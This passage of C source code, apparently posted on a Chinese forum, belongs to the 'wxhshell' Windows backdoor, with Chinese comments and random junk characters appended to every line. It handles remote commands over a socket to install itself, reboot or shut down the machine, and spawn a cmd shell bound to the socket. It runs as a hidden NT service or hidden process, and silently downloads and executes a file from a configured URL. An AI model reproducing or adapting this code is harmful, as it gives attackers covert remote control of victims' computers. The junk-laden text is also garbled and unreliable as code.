      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ..]X<  
    break; qYiK bzy  
  } |>fS"u  
  // 安装 t=\[J+  
  case 'i': { 4a50w:Jy]  
    if(Install()) 4JQ`&:?r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $izpH  
    else R~c vml  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); # yRA. ;  
    break; JhXN8Bq33  
    } $m0x8<7nu  
  // 卸载 V +<AG*[  
  case 'r': { Tq_X8X#p  
    if(Uninstall()) 3&Zx*:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NHVx!Kc  
    else t }C ^E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cb&In<q  
    break; kITmo"$K  
    } W>s9Mp  
  // 显示 wxhshell 所在路径 ?-&D'  
  case 'p': { Z/UVKJm>:  
    char svExeFile[MAX_PATH]; ^dKaa  
    strcpy(svExeFile,"\n\r"); qvT+d l3#[  
      strcat(svExeFile,ExeFile); }uj'BO2?  
        send(wsh,svExeFile,strlen(svExeFile),0); T@.m^|~  
    break; =WRU<`\  
    } ;mKU>F<V  
  // 重启 Bo(l!G  
  case 'b': { I{ZPv"9j^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Zd/~ *ZA  
    if(Boot(REBOOT)) >w;W& [  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0$Db@  
    else { *(.^$Iq4  
    closesocket(wsh); s-S"\zX\D  
    ExitThread(0); M\4;d #  
    } bjX$idL  
    break; YHtI%  
    } aq| [g  
  // 关机 KKJ[  
  case 'd': { w[[@&T\`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fx"+ZR  
    if(Boot(SHUTDOWN)) s(LqhF[N2]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qinQ5t  
    else { r>@/XYK&\  
    closesocket(wsh); O*CX@Ne  
    ExitThread(0); qfe%\krN{i  
    } z`7C)p:  
    break; <:t\P.  
    } S.>9tV2Ca  
  // 获取shell +-137!x\q  
  case 's': { A0sW 9P6F  
    CmdShell(wsh); B y8Tw;aL  
    closesocket(wsh); FLOJ  
    ExitThread(0); F=c_PQO  
    break; /kVc7 LC  
  } $466? oI  
  // 退出 xF31%b`z:  
  case 'x': { 'J2P3t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WX"M_=lc-@  
    CloseIt(wsh); nQVBHL>  
    break; &y+*3,!n8  
    } [6qP;  
  // 离开 FJiP>S[]  
  case 'q': { N Uml"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dAt[i \S  
    closesocket(wsh); _( Cp   
    WSACleanup(); oIgj)AY<  
    exit(1); v>PHn69PU  
    break; e-t`\5b;  
        } {<BK@U  
  } dK$dQR#  
  }  kS9  
d7gSkna`5c  
  // 提示信息 |mA*[?ye@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); # =3]bg  
} 7[ji,.7  
  } C(+BrIS*  
B 1.@K}  
  return; Ww4G  
} O, 6!`\ND  
#<3\}*/  
// shell模块句柄 l!'iLq"K(  
int CmdShell(SOCKET sock) )j*qGsOg  
{ Ry~LhU:  
STARTUPINFO si; 7QFEQ}  
ZeroMemory(&si,sizeof(si)); ,FO|'l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; je% 12DM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =? aB@&  
PROCESS_INFORMATION ProcessInfo; __npX_4%S  
char cmdline[]="cmd"; #O ]IXo(5z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (k45k/PAP  
  return 0; -6>rR{z  
} r&RSQHa)  
.[A S  
// 自身启动模式 = 0Sa  
int StartFromService(void) Z2}b1#U?  
{ r2w7lf66!  
typedef struct [%Xfl7;Wh  
{ 9$i`B>C~  
  DWORD ExitStatus; $ 7!GA9Bn  
  DWORD PebBaseAddress; 5}ah%  
  DWORD AffinityMask; Dh<e9s:  
  DWORD BasePriority; cxdM!L; `  
  ULONG UniqueProcessId; (5 hu W7v  
  ULONG InheritedFromUniqueProcessId; XPKcF I=  
}   PROCESS_BASIC_INFORMATION; ( PlNaasV  
`6su_8Hno  
PROCNTQSIP NtQueryInformationProcess; "(GeW286k  
w ?aLWySYT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (H^o8J   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %4J?xhd  
UPF=X) !M  
  HANDLE             hProcess; O:)@J b2  
  PROCESS_BASIC_INFORMATION pbi; _aYQ(FO  
2ra4t]f6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hI 0l2OE  
  if(NULL == hInst ) return 0; `Fr$q1qae{  
`!N?#N:b)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zZ-*/THB@R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n9DFa3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Tr)[q>  
i YkNtqn/  
  if (!NtQueryInformationProcess) return 0; ^` THV  
cyyFIJj]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )-gyDA  
  if(!hProcess) return 0; V-0Y~T  
va<pHSX&I@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rD gl@B3  
5N0H^  
  CloseHandle(hProcess); g> f394j  
$-73}[UA 4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;p8xL)mUP  
if(hProcess==NULL) return 0; .rHO7c,P~  
x`&W[AA4  
HMODULE hMod; }$jIvb,3?  
char procName[255]; *6DKU CA/  
unsigned long cbNeeded; J%'|IwA  
]LjW,b"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /2(F  
C 4,W[L]4"  
  CloseHandle(hProcess); =9-c*bL  
vr$ [  
if(strstr(procName,"services")) return 1; // 以服务启动 '"Gi&:*nQ<  
ko$R%W&T  
  return 0; // 注册表启动 =8-e1R/  
} -L@=j  
zuw6YY8kQ  
// 主模块 :O2N'vl47A  
int StartWxhshell(LPSTR lpCmdLine) XT)@)c7j  
{ `KN{0<Ne  
  SOCKET wsl; %BJ V$tO  
BOOL val=TRUE; " PPwJ/L(  
  int port=0; 2cL<`  
  struct sockaddr_in door; \Uiw: ,  
+FI]0r  
  if(wscfg.ws_autoins) Install(); $v,_8{ !  
+}]xuYzo  
port=atoi(lpCmdLine); K9c:K/H  
GmFNL/x8-v  
if(port<=0) port=wscfg.ws_port; umk[\}Ip+P  
PYGHN T  
  WSADATA data; *P>F# ~X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u56cT/J1  
^<c?Ire  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K2JS2Y]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H|]Q;,C  
  door.sin_family = AF_INET; >K3Lww)Ln  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?]S*=6  
  door.sin_port = htons(port); "Z <1Msz  
V0>,Kxk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { > ewcD{bt  
closesocket(wsl); }/=_  
return 1; Yyf8B  
} tP3Upw"U  
3$_wAt4w  
  if(listen(wsl,2) == INVALID_SOCKET) { Ktoxl+I?  
closesocket(wsl); L fhd02  
return 1; *:iFhKFU  
} JdE=!~\8  
  Wxhshell(wsl); R/=yS7@{)  
  WSACleanup(); t5S S]  
~_Aclm?  
return 0; N]3XDd|q  
d}1R<Q;F  
} tG'c79D\  
!U@[lBW  
// 以NT服务方式启动 `J;_!~:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x(A .^Yz  
{ GKX#-zsh79  
DWORD   status = 0; IIzdCa{l  
  DWORD   specificError = 0xfffffff; ]'{<O3:7  
z,vjY$t:/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +]G;_/[2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?(Nls.c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :^K|u^_>P  
  serviceStatus.dwWin32ExitCode     = 0; QM=X<?m/,=  
  serviceStatus.dwServiceSpecificExitCode = 0; 72aj4k]^  
  serviceStatus.dwCheckPoint       = 0; r!+)U#8  
  serviceStatus.dwWaitHint       = 0; u?!p[y6  
cYK3>p A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TWMD f  
  if (hServiceStatusHandle==0) return; x@yF|8  
Zi^&x6y^  
status = GetLastError(); gqE{  
  if (status!=NO_ERROR) |,o!O39}>  
{ c}QjKJ-c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Vx'_fb?wap  
    serviceStatus.dwCheckPoint       = 0; BQsy)H`4E  
    serviceStatus.dwWaitHint       = 0; 3vx?x39*Y  
    serviceStatus.dwWin32ExitCode     = status; 8@ b83  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1Ypru<.)W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rQU;?[y  
    return; UPH:$Fk&  
  } n<MH\.!tM  
Xr-eDUEi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HA| YLj?|g  
  serviceStatus.dwCheckPoint       = 0; y 2bZo'Z  
  serviceStatus.dwWaitHint       = 0; YDP<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D+tn<\LF  
} )!'SSVaRs  
@X:P`?("^  
// 处理NT服务事件,比如:启动、停止 IL\#!|>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vI4St;  
{ t ;(kSg.  
switch(fdwControl) wJip{  
{ {{j?3O//  
case SERVICE_CONTROL_STOP: .hU ndg  
  serviceStatus.dwWin32ExitCode = 0; 2s~ X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mjf U[2  
  serviceStatus.dwCheckPoint   = 0; 6#v"+V  
  serviceStatus.dwWaitHint     = 0; ))<3+^S0V\  
  { RV-7y^[]^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BDpeAF8z  
  } %c):^;6p  
  return; ]*?qaIdqu  
case SERVICE_CONTROL_PAUSE: |:C=j/f   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !ce:S!P  
  break; VUk2pEGO.  
case SERVICE_CONTROL_CONTINUE: VB\oK\F5z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D{~I  
  break; '~2;WF0h  
case SERVICE_CONTROL_INTERROGATE: smJ%^'x  
  break; `8EHhN;  
}; U\P ;,o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :`25@<*u  
} -W2 !_  
L]cZPfI6  
// 标准应用程序主函数 ZdfIe~Oni  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lIz"mk  
{ pno]B ld'z  
xDm^f^}>  
// 获取操作系统版本 =JY9K0S~  
OsIsNt=GetOsVer(); wj /OYnMw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }sZme3*J[  
8sLp! O;f2  
  // 从命令行安装 b+,u_$@B  
  if(strpbrk(lpCmdLine,"iI")) Install(); qhc3 oRe  
wpO-cJ!,  
  // 下载执行文件 zrri&QDF<  
if(wscfg.ws_downexe) { YQLp#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (=,p"3^  
  WinExec(wscfg.ws_filenam,SW_HIDE); l-g+E{ZM  
} I8rtta  
C[gy{40}  
if(!OsIsNt) { CNQ>J`4  
// 如果时win9x,隐藏进程并且设置为注册表启动 yc?+L ;fN  
HideProc(); B/7c`V  
StartWxhshell(lpCmdLine); P >HEV a  
} va[@XGaC3  
else )Z2HzjE  
  if(StartFromService()) NLf6}  
  // 以服务方式启动 LNPwb1)  
  StartServiceCtrlDispatcher(DispatchTable); u?r=;:N|y  
else y ~7]9?T  
  // 普通方式启动 G$ ( B26  
  StartWxhshell(lpCmdLine); Ou>L|#=!  
%3!DRz  
return 0; g4^=Q'j-  
}
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只看该作者 1 发表于: 2006-10-10
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